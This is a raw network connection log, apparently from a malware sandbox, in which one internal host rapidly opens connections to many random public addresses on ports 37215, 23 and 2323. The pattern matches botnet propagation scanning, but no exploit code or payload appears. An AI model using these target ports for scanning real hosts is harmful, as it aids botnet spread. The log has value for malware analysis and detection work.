Nov 3, 2024 15:33:13.210952997 CET	4847	37215	192.168.2.14	156.146.215.249
Nov 3, 2024 15:33:13.210952997 CET	4847	37215	192.168.2.14	197.37.232.106
Nov 3, 2024 15:33:13.210952997 CET	4847	37215	192.168.2.14	41.49.27.245
Nov 3, 2024 15:33:13.210957050 CET	4847	37215	192.168.2.14	41.78.104.121
Nov 3, 2024 15:33:13.210957050 CET	4847	37215	192.168.2.14	156.153.229.201
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	41.181.59.39
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	156.236.230.234
Nov 3, 2024 15:33:13.210958958 CET	4847	37215	192.168.2.14	156.87.165.188
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	156.34.62.143
Nov 3, 2024 15:33:13.210958958 CET	4847	37215	192.168.2.14	156.207.226.45
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	41.242.157.222
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	156.10.146.137
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	197.62.28.79
Nov 3, 2024 15:33:13.210958004 CET	4847	37215	192.168.2.14	156.254.95.202
Nov 3, 2024 15:33:13.210973024 CET	4847	37215	192.168.2.14	41.223.39.150
Nov 3, 2024 15:33:13.210977077 CET	4847	37215	192.168.2.14	197.218.87.56
Nov 3, 2024 15:33:13.210980892 CET	4847	37215	192.168.2.14	197.83.72.149
Nov 3, 2024 15:33:13.210980892 CET	4847	37215	192.168.2.14	41.50.50.146
Nov 3, 2024 15:33:13.210980892 CET	4847	37215	192.168.2.14	41.16.241.116
Nov 3, 2024 15:33:13.210980892 CET	4847	37215	192.168.2.14	41.186.238.93
Nov 3, 2024 15:33:13.210987091 CET	4847	37215	192.168.2.14	41.186.141.162
Nov 3, 2024 15:33:13.210988045 CET	4847	37215	192.168.2.14	156.185.176.179
Nov 3, 2024 15:33:13.210988045 CET	4847	37215	192.168.2.14	156.187.129.97
Nov 3, 2024 15:33:13.210988045 CET	4847	37215	192.168.2.14	156.57.133.49
Nov 3, 2024 15:33:13.210988045 CET	4847	37215	192.168.2.14	197.236.245.223
Nov 3, 2024 15:33:13.210992098 CET	4847	37215	192.168.2.14	197.241.250.11
Nov 3, 2024 15:33:13.210992098 CET	4847	37215	192.168.2.14	197.166.216.39
Nov 3, 2024 15:33:13.211019993 CET	4847	37215	192.168.2.14	156.205.214.112
Nov 3, 2024 15:33:13.211019993 CET	4847	37215	192.168.2.14	156.172.34.100
Nov 3, 2024 15:33:13.211019993 CET	4847	37215	192.168.2.14	156.157.161.23
Nov 3, 2024 15:33:13.211020947 CET	4847	37215	192.168.2.14	197.153.118.137
Nov 3, 2024 15:33:13.211021900 CET	4847	37215	192.168.2.14	197.178.233.97
Nov 3, 2024 15:33:13.211024046 CET	4847	37215	192.168.2.14	156.47.244.55
Nov 3, 2024 15:33:13.211021900 CET	4847	37215	192.168.2.14	156.168.49.203
Nov 3, 2024 15:33:13.211024046 CET	4847	37215	192.168.2.14	41.180.222.113
Nov 3, 2024 15:33:13.211020947 CET	4847	37215	192.168.2.14	156.83.150.241
Nov 3, 2024 15:33:13.211025000 CET	4847	37215	192.168.2.14	41.213.54.53
Nov 3, 2024 15:33:13.211021900 CET	4847	37215	192.168.2.14	197.135.32.32
Nov 3, 2024 15:33:13.211024046 CET	4847	37215	192.168.2.14	156.136.114.121
Nov 3, 2024 15:33:13.211021900 CET	4847	37215	192.168.2.14	41.95.242.177
Nov 3, 2024 15:33:13.211026907 CET	4847	37215	192.168.2.14	197.60.112.55
Nov 3, 2024 15:33:13.211030006 CET	4847	37215	192.168.2.14	156.239.180.31
Nov 3, 2024 15:33:13.211020947 CET	4847	37215	192.168.2.14	156.104.41.2
Nov 3, 2024 15:33:13.211025000 CET	4847	37215	192.168.2.14	197.251.6.164
Nov 3, 2024 15:33:13.211030006 CET	4847	37215	192.168.2.14	156.13.164.153
Nov 3, 2024 15:33:13.211025000 CET	4847	37215	192.168.2.14	41.249.163.157
Nov 3, 2024 15:33:13.211030006 CET	4847	37215	192.168.2.14	156.172.78.67
Nov 3, 2024 15:33:13.211025000 CET	4847	37215	192.168.2.14	197.104.174.94
Nov 3, 2024 15:33:13.211030006 CET	4847	37215	192.168.2.14	41.176.179.101
Nov 3, 2024 15:33:13.211025000 CET	4847	37215	192.168.2.14	156.54.201.116
Nov 3, 2024 15:33:13.212687016 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:13.212687016 CET	54440	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:13.212687969 CET	43106	37215	192.168.2.14	197.86.1.46
Nov 3, 2024 15:33:13.212691069 CET	56522	37215	192.168.2.14	197.78.199.67
Nov 3, 2024 15:33:13.212691069 CET	42280	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:13.212694883 CET	34184	37215	192.168.2.14	156.237.223.183
Nov 3, 2024 15:33:13.212694883 CET	42996	37215	192.168.2.14	41.89.192.221
Nov 3, 2024 15:33:13.212697029 CET	53796	23	192.168.2.14	161.10.146.147
Nov 3, 2024 15:33:13.212699890 CET	41352	37215	192.168.2.14	41.215.186.20
Nov 3, 2024 15:33:13.212704897 CET	43796	37215	192.168.2.14	156.79.181.88
Nov 3, 2024 15:33:13.212706089 CET	42806	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:13.212706089 CET	44308	23	192.168.2.14	126.121.188.121
Nov 3, 2024 15:33:13.212706089 CET	38684	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:13.212712049 CET	41588	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:13.212712049 CET	57304	37215	192.168.2.14	41.149.135.100
Nov 3, 2024 15:33:13.212712049 CET	42002	23	192.168.2.14	81.202.219.153
Nov 3, 2024 15:33:13.212712049 CET	52354	37215	192.168.2.14	41.200.60.53
Nov 3, 2024 15:33:13.212721109 CET	43440	2323	192.168.2.14	185.179.141.90
Nov 3, 2024 15:33:13.212724924 CET	36582	37215	192.168.2.14	41.165.33.211
Nov 3, 2024 15:33:13.212724924 CET	46330	23	192.168.2.14	47.211.156.147
Nov 3, 2024 15:33:13.212730885 CET	55692	37215	192.168.2.14	156.152.67.146
Nov 3, 2024 15:33:13.212732077 CET	39148	23	192.168.2.14	57.77.17.204
Nov 3, 2024 15:33:13.212737083 CET	47062	23	192.168.2.14	151.141.133.84
Nov 3, 2024 15:33:13.212740898 CET	48790	23	192.168.2.14	149.229.95.150
Nov 3, 2024 15:33:13.215379953 CET	37215	4847	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:13.215390921 CET	37215	4847	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:13.215399027 CET	37215	4847	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:13.215409040 CET	37215	4847	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:13.215418100 CET	37215	4847	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:13.215428114 CET	37215	4847	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:13.215432882 CET	4847	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:13.215435028 CET	4847	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:13.215439081 CET	4847	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.215440989 CET	4847	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:13.215447903 CET	37215	4847	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:13.215455055 CET	4847	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:13.215455055 CET	4847	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:13.215457916 CET	37215	4847	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:13.215473890 CET	37215	4847	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:13.215482950 CET	37215	4847	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:13.215487003 CET	4847	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:13.215492010 CET	4847	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:13.215492010 CET	37215	4847	197.185.188.104	192.168.2.14
Nov 3, 2024 15:33:13.215502977 CET	37215	4847	197.8.90.91	192.168.2.14
Nov 3, 2024 15:33:13.215509892 CET	4847	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:13.215516090 CET	4847	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:13.215522051 CET	4847	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:13.215524912 CET	4847	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:13.215708017 CET	37215	4847	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:13.215718031 CET	37215	4847	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:13.215727091 CET	37215	4847	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:13.215744019 CET	37215	4847	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:13.215751886 CET	4847	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:13.215751886 CET	4847	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:13.215751886 CET	4847	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:13.215754986 CET	37215	4847	41.151.143.90	192.168.2.14
Nov 3, 2024 15:33:13.215764046 CET	37215	4847	197.219.201.144	192.168.2.14
Nov 3, 2024 15:33:13.215774059 CET	37215	4847	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:13.215781927 CET	37215	4847	41.149.194.71	192.168.2.14
Nov 3, 2024 15:33:13.215785980 CET	4847	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:13.215785980 CET	4847	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:13.215790987 CET	37215	4847	156.92.21.112	192.168.2.14
Nov 3, 2024 15:33:13.215795040 CET	4847	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:13.215800047 CET	37215	4847	156.75.53.41	192.168.2.14
Nov 3, 2024 15:33:13.215805054 CET	4847	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:13.215811014 CET	37215	4847	156.226.246.49	192.168.2.14
Nov 3, 2024 15:33:13.215820074 CET	37215	4847	156.34.112.245	192.168.2.14
Nov 3, 2024 15:33:13.215823889 CET	4847	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:13.215825081 CET	4847	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.215826988 CET	4847	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:13.215831995 CET	37215	4847	156.2.101.153	192.168.2.14
Nov 3, 2024 15:33:13.215841055 CET	37215	4847	156.144.185.8	192.168.2.14
Nov 3, 2024 15:33:13.215847015 CET	4847	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:13.215848923 CET	37215	4847	41.188.19.186	192.168.2.14
Nov 3, 2024 15:33:13.215857029 CET	4847	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:13.215859890 CET	37215	4847	197.33.149.67	192.168.2.14
Nov 3, 2024 15:33:13.215868950 CET	37215	4847	197.247.199.66	192.168.2.14
Nov 3, 2024 15:33:13.215868950 CET	4847	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:13.215873003 CET	4847	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:13.215877056 CET	37215	4847	156.82.38.37	192.168.2.14
Nov 3, 2024 15:33:13.215887070 CET	37215	4847	41.27.247.56	192.168.2.14
Nov 3, 2024 15:33:13.215894938 CET	4847	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:13.215895891 CET	4847	37215	192.168.2.14	197.33.149.67
Nov 3, 2024 15:33:13.215897083 CET	37215	4847	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.215895891 CET	4847	37215	192.168.2.14	197.247.199.66
Nov 3, 2024 15:33:13.215903044 CET	4847	37215	192.168.2.14	156.82.38.37
Nov 3, 2024 15:33:13.215905905 CET	37215	4847	41.1.57.191	192.168.2.14
Nov 3, 2024 15:33:13.215915918 CET	37215	4847	156.255.190.87	192.168.2.14
Nov 3, 2024 15:33:13.215922117 CET	4847	37215	192.168.2.14	41.27.247.56
Nov 3, 2024 15:33:13.215923071 CET	4847	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.215924978 CET	37215	4847	156.239.160.12	192.168.2.14
Nov 3, 2024 15:33:13.215933084 CET	4847	37215	192.168.2.14	41.1.57.191
Nov 3, 2024 15:33:13.215934038 CET	37215	4847	197.41.206.53	192.168.2.14
Nov 3, 2024 15:33:13.215944052 CET	37215	4847	197.137.99.26	192.168.2.14
Nov 3, 2024 15:33:13.215948105 CET	4847	37215	192.168.2.14	156.255.190.87
Nov 3, 2024 15:33:13.215961933 CET	4847	37215	192.168.2.14	156.239.160.12
Nov 3, 2024 15:33:13.215961933 CET	37215	4847	156.14.58.244	192.168.2.14
Nov 3, 2024 15:33:13.215972900 CET	37215	4847	156.157.201.18	192.168.2.14
Nov 3, 2024 15:33:13.215976000 CET	4847	37215	192.168.2.14	197.41.206.53
Nov 3, 2024 15:33:13.215981960 CET	37215	4847	156.223.113.153	192.168.2.14
Nov 3, 2024 15:33:13.215984106 CET	4847	37215	192.168.2.14	197.137.99.26
Nov 3, 2024 15:33:13.215991020 CET	37215	4847	156.189.98.220	192.168.2.14
Nov 3, 2024 15:33:13.215998888 CET	37215	4847	197.30.235.134	192.168.2.14
Nov 3, 2024 15:33:13.216006994 CET	4847	37215	192.168.2.14	156.157.201.18
Nov 3, 2024 15:33:13.216007948 CET	37215	4847	41.100.0.212	192.168.2.14
Nov 3, 2024 15:33:13.216011047 CET	4847	37215	192.168.2.14	156.14.58.244
Nov 3, 2024 15:33:13.216023922 CET	4847	37215	192.168.2.14	156.223.113.153
Nov 3, 2024 15:33:13.216032028 CET	4847	37215	192.168.2.14	197.30.235.134
Nov 3, 2024 15:33:13.216033936 CET	4847	37215	192.168.2.14	156.189.98.220
Nov 3, 2024 15:33:13.216033936 CET	4847	37215	192.168.2.14	41.100.0.212
Nov 3, 2024 15:33:13.217525005 CET	37215	41326	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:13.217571020 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:13.217582941 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:13.217976093 CET	60422	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:13.218677998 CET	56956	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:13.219376087 CET	36236	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.220084906 CET	41154	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:13.220797062 CET	56226	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:13.221494913 CET	39802	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:13.222244978 CET	57956	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:13.222800016 CET	37215	41326	156.69.79.25	192.168.2.14
Nov 3, 2024 15:33:13.222841978 CET	41326	37215	192.168.2.14	156.69.79.25
Nov 3, 2024 15:33:13.222955942 CET	35160	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:13.223670006 CET	44712	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:13.224158049 CET	37215	36236	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:13.224199057 CET	36236	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.224378109 CET	56016	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:13.225085020 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:13.225794077 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:13.226509094 CET	33156	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:13.227190971 CET	49484	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:13.227899075 CET	35982	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:13.228573084 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:13.229291916 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:13.229998112 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:13.230703115 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:13.231401920 CET	54134	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.232100964 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:13.232791901 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:13.233489037 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:13.234208107 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:13.234930992 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:13.235657930 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:13.236287117 CET	37215	54134	41.149.194.71	192.168.2.14
Nov 3, 2024 15:33:13.236330032 CET	54134	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.236360073 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:13.237082958 CET	58078	37215	192.168.2.14	197.33.149.67
Nov 3, 2024 15:33:13.237807035 CET	56688	37215	192.168.2.14	197.247.199.66
Nov 3, 2024 15:33:13.238538027 CET	56018	37215	192.168.2.14	156.82.38.37
Nov 3, 2024 15:33:13.239269972 CET	55056	37215	192.168.2.14	41.27.247.56
Nov 3, 2024 15:33:13.239989042 CET	52970	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.240741968 CET	50214	37215	192.168.2.14	41.1.57.191
Nov 3, 2024 15:33:13.241431952 CET	57578	37215	192.168.2.14	156.255.190.87
Nov 3, 2024 15:33:13.242151022 CET	50484	37215	192.168.2.14	156.239.160.12
Nov 3, 2024 15:33:13.242868900 CET	45400	37215	192.168.2.14	197.41.206.53
Nov 3, 2024 15:33:13.243551970 CET	39382	37215	192.168.2.14	197.137.99.26
Nov 3, 2024 15:33:13.244256020 CET	45638	37215	192.168.2.14	156.14.58.244
Nov 3, 2024 15:33:13.244676113 CET	37842	37215	192.168.2.14	197.220.105.216
Nov 3, 2024 15:33:13.244682074 CET	51674	2323	192.168.2.14	175.243.137.81
Nov 3, 2024 15:33:13.244682074 CET	49264	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:13.244683981 CET	52326	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:13.244683981 CET	39598	23	192.168.2.14	94.225.74.133
Nov 3, 2024 15:33:13.244685888 CET	42250	23	192.168.2.14	152.189.235.149
Nov 3, 2024 15:33:13.244685888 CET	39076	23	192.168.2.14	199.59.48.194
Nov 3, 2024 15:33:13.244694948 CET	37500	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:13.244694948 CET	45662	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:13.244695902 CET	46808	37215	192.168.2.14	156.14.116.151
Nov 3, 2024 15:33:13.244700909 CET	38520	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:13.244714022 CET	55376	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:13.244714022 CET	53746	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:13.244715929 CET	45178	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:13.244716883 CET	33864	37215	192.168.2.14	197.122.113.243
Nov 3, 2024 15:33:13.244716883 CET	54780	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:13.244716883 CET	33870	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:13.244719982 CET	40950	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:13.244720936 CET	37578	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:13.244720936 CET	53830	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:13.244723082 CET	43662	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:13.244736910 CET	59294	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:13.244896889 CET	37215	52970	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.244932890 CET	52970	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.244951010 CET	38572	37215	192.168.2.14	156.157.201.18
Nov 3, 2024 15:33:13.245676994 CET	49480	37215	192.168.2.14	156.223.113.153
Nov 3, 2024 15:33:13.246417046 CET	42918	37215	192.168.2.14	156.189.98.220
Nov 3, 2024 15:33:13.247133970 CET	45420	37215	192.168.2.14	197.30.235.134
Nov 3, 2024 15:33:13.247853994 CET	57606	37215	192.168.2.14	41.100.0.212
Nov 3, 2024 15:33:13.248378992 CET	36236	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.248378992 CET	36236	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.248697996 CET	36318	37215	192.168.2.14	41.118.174.98
Nov 3, 2024 15:33:13.249103069 CET	54134	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.249103069 CET	54134	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.249423981 CET	54184	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:13.249834061 CET	52970	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.249834061 CET	52970	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.249999046 CET	37215	52970	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.250032902 CET	52970	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.250148058 CET	52998	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:13.253139019 CET	37215	36236	41.118.174.98	192.168.2.14
Nov 3, 2024 15:33:13.253962040 CET	37215	54134	41.149.194.71	192.168.2.14
Nov 3, 2024 15:33:13.254641056 CET	37215	52970	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.254808903 CET	37215	52970	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.254817009 CET	37215	52970	41.109.44.99	192.168.2.14
Nov 3, 2024 15:33:13.276678085 CET	40868	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:13.276686907 CET	55236	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:13.281512976 CET	23	40868	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:13.281559944 CET	40868	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:13.281605959 CET	23	55236	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:13.281620979 CET	4833	2323	192.168.2.14	18.157.31.75
Nov 3, 2024 15:33:13.281624079 CET	4833	23	192.168.2.14	39.42.54.160
Nov 3, 2024 15:33:13.281625986 CET	4833	23	192.168.2.14	13.116.55.215
Nov 3, 2024 15:33:13.281641960 CET	55236	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:13.281644106 CET	4833	23	192.168.2.14	121.246.43.25
Nov 3, 2024 15:33:13.281652927 CET	4833	23	192.168.2.14	208.21.28.169
Nov 3, 2024 15:33:13.281657934 CET	4833	23	192.168.2.14	113.0.122.25
Nov 3, 2024 15:33:13.281657934 CET	4833	23	192.168.2.14	140.216.191.187
Nov 3, 2024 15:33:13.281672001 CET	4833	23	192.168.2.14	179.41.28.152
Nov 3, 2024 15:33:13.281677008 CET	4833	23	192.168.2.14	92.81.191.8
Nov 3, 2024 15:33:13.281687975 CET	4833	23	192.168.2.14	204.233.172.214
Nov 3, 2024 15:33:13.281687975 CET	4833	23	192.168.2.14	197.24.229.149
Nov 3, 2024 15:33:13.281687975 CET	4833	23	192.168.2.14	111.86.6.142
Nov 3, 2024 15:33:13.281691074 CET	4833	2323	192.168.2.14	72.82.229.101
Nov 3, 2024 15:33:13.281691074 CET	4833	23	192.168.2.14	67.25.239.171
Nov 3, 2024 15:33:13.281697989 CET	4833	23	192.168.2.14	181.27.166.9
Nov 3, 2024 15:33:13.281699896 CET	4833	23	192.168.2.14	162.107.75.237
Nov 3, 2024 15:33:13.281708002 CET	4833	23	192.168.2.14	67.3.194.37
Nov 3, 2024 15:33:13.281717062 CET	4833	23	192.168.2.14	159.54.129.250
Nov 3, 2024 15:33:13.281717062 CET	4833	23	192.168.2.14	41.80.176.213
Nov 3, 2024 15:33:13.281719923 CET	4833	23	192.168.2.14	210.62.153.79
Nov 3, 2024 15:33:13.281723022 CET	4833	2323	192.168.2.14	1.97.250.20
Nov 3, 2024 15:33:13.281725883 CET	4833	23	192.168.2.14	98.16.171.114
Nov 3, 2024 15:33:13.281737089 CET	4833	23	192.168.2.14	217.235.72.84
Nov 3, 2024 15:33:13.281740904 CET	4833	23	192.168.2.14	156.243.222.6
Nov 3, 2024 15:33:13.281740904 CET	4833	23	192.168.2.14	68.27.187.6
Nov 3, 2024 15:33:13.281740904 CET	4833	23	192.168.2.14	165.21.35.223
Nov 3, 2024 15:33:13.281753063 CET	4833	23	192.168.2.14	48.233.166.229
Nov 3, 2024 15:33:13.281760931 CET	4833	23	192.168.2.14	87.81.220.142
Nov 3, 2024 15:33:13.281764984 CET	4833	23	192.168.2.14	186.207.185.32
Nov 3, 2024 15:33:13.281766891 CET	4833	23	192.168.2.14	63.165.175.170
Nov 3, 2024 15:33:13.281788111 CET	4833	23	192.168.2.14	85.251.53.214
Nov 3, 2024 15:33:13.281788111 CET	4833	23	192.168.2.14	115.13.84.140
Nov 3, 2024 15:33:13.281789064 CET	4833	23	192.168.2.14	182.26.216.254
Nov 3, 2024 15:33:13.281790018 CET	4833	2323	192.168.2.14	8.51.194.167
Nov 3, 2024 15:33:13.281790018 CET	4833	23	192.168.2.14	151.153.244.73
Nov 3, 2024 15:33:13.281790018 CET	4833	23	192.168.2.14	1.31.85.191
Nov 3, 2024 15:33:13.281799078 CET	4833	23	192.168.2.14	14.238.7.135
Nov 3, 2024 15:33:13.281800032 CET	4833	23	192.168.2.14	165.67.197.14
Nov 3, 2024 15:33:13.281800032 CET	4833	23	192.168.2.14	87.188.185.194
Nov 3, 2024 15:33:13.281814098 CET	4833	23	192.168.2.14	13.88.122.69
Nov 3, 2024 15:33:13.281814098 CET	4833	23	192.168.2.14	171.134.173.191
Nov 3, 2024 15:33:13.281814098 CET	4833	23	192.168.2.14	114.193.22.165
Nov 3, 2024 15:33:13.281816006 CET	4833	23	192.168.2.14	190.45.57.198
Nov 3, 2024 15:33:13.281816959 CET	4833	23	192.168.2.14	19.131.85.243
Nov 3, 2024 15:33:13.281826973 CET	4833	2323	192.168.2.14	170.185.122.132
Nov 3, 2024 15:33:13.281827927 CET	4833	23	192.168.2.14	147.186.41.118
Nov 3, 2024 15:33:13.281831026 CET	4833	23	192.168.2.14	93.162.21.161
Nov 3, 2024 15:33:13.281831026 CET	4833	2323	192.168.2.14	106.161.26.183
Nov 3, 2024 15:33:13.281831026 CET	4833	23	192.168.2.14	70.14.108.61
Nov 3, 2024 15:33:13.281831026 CET	4833	23	192.168.2.14	43.16.129.33
Nov 3, 2024 15:33:13.281831026 CET	4833	23	192.168.2.14	172.124.210.164
Nov 3, 2024 15:33:13.281833887 CET	4833	23	192.168.2.14	95.118.123.81
Nov 3, 2024 15:33:13.281833887 CET	4833	23	192.168.2.14	161.1.199.2
Nov 3, 2024 15:33:13.281833887 CET	4833	23	192.168.2.14	58.204.86.8
Nov 3, 2024 15:33:13.281833887 CET	4833	23	192.168.2.14	188.162.157.76
Nov 3, 2024 15:33:13.281842947 CET	4833	23	192.168.2.14	209.25.65.134
Nov 3, 2024 15:33:13.281845093 CET	4833	23	192.168.2.14	176.226.184.220
Nov 3, 2024 15:33:13.281846046 CET	4833	23	192.168.2.14	178.150.141.136
Nov 3, 2024 15:33:13.281856060 CET	4833	23	192.168.2.14	149.38.82.146
Nov 3, 2024 15:33:13.281862020 CET	4833	23	192.168.2.14	144.0.209.43
Nov 3, 2024 15:33:13.281862974 CET	4833	23	192.168.2.14	172.143.218.161
Nov 3, 2024 15:33:13.281862974 CET	4833	23	192.168.2.14	165.160.199.9
Nov 3, 2024 15:33:13.281862974 CET	4833	23	192.168.2.14	65.160.132.135
Nov 3, 2024 15:33:13.281867027 CET	4833	23	192.168.2.14	135.87.126.113
Nov 3, 2024 15:33:13.281867981 CET	4833	23	192.168.2.14	176.25.143.96
Nov 3, 2024 15:33:13.281878948 CET	4833	23	192.168.2.14	38.7.56.51
Nov 3, 2024 15:33:13.281879902 CET	4833	23	192.168.2.14	122.14.240.171
Nov 3, 2024 15:33:13.281883955 CET	4833	23	192.168.2.14	96.212.29.104
Nov 3, 2024 15:33:13.281884909 CET	4833	2323	192.168.2.14	8.126.90.174
Nov 3, 2024 15:33:13.281886101 CET	4833	23	192.168.2.14	149.137.242.77
Nov 3, 2024 15:33:13.281884909 CET	4833	23	192.168.2.14	221.112.97.96
Nov 3, 2024 15:33:13.281884909 CET	4833	23	192.168.2.14	87.100.104.238
Nov 3, 2024 15:33:13.281903028 CET	4833	2323	192.168.2.14	196.27.4.244
Nov 3, 2024 15:33:13.281903028 CET	4833	23	192.168.2.14	60.226.13.240
Nov 3, 2024 15:33:13.281908035 CET	4833	23	192.168.2.14	178.131.167.227
Nov 3, 2024 15:33:13.281908989 CET	4833	2323	192.168.2.14	109.233.46.14
Nov 3, 2024 15:33:13.281908989 CET	4833	23	192.168.2.14	88.197.198.119
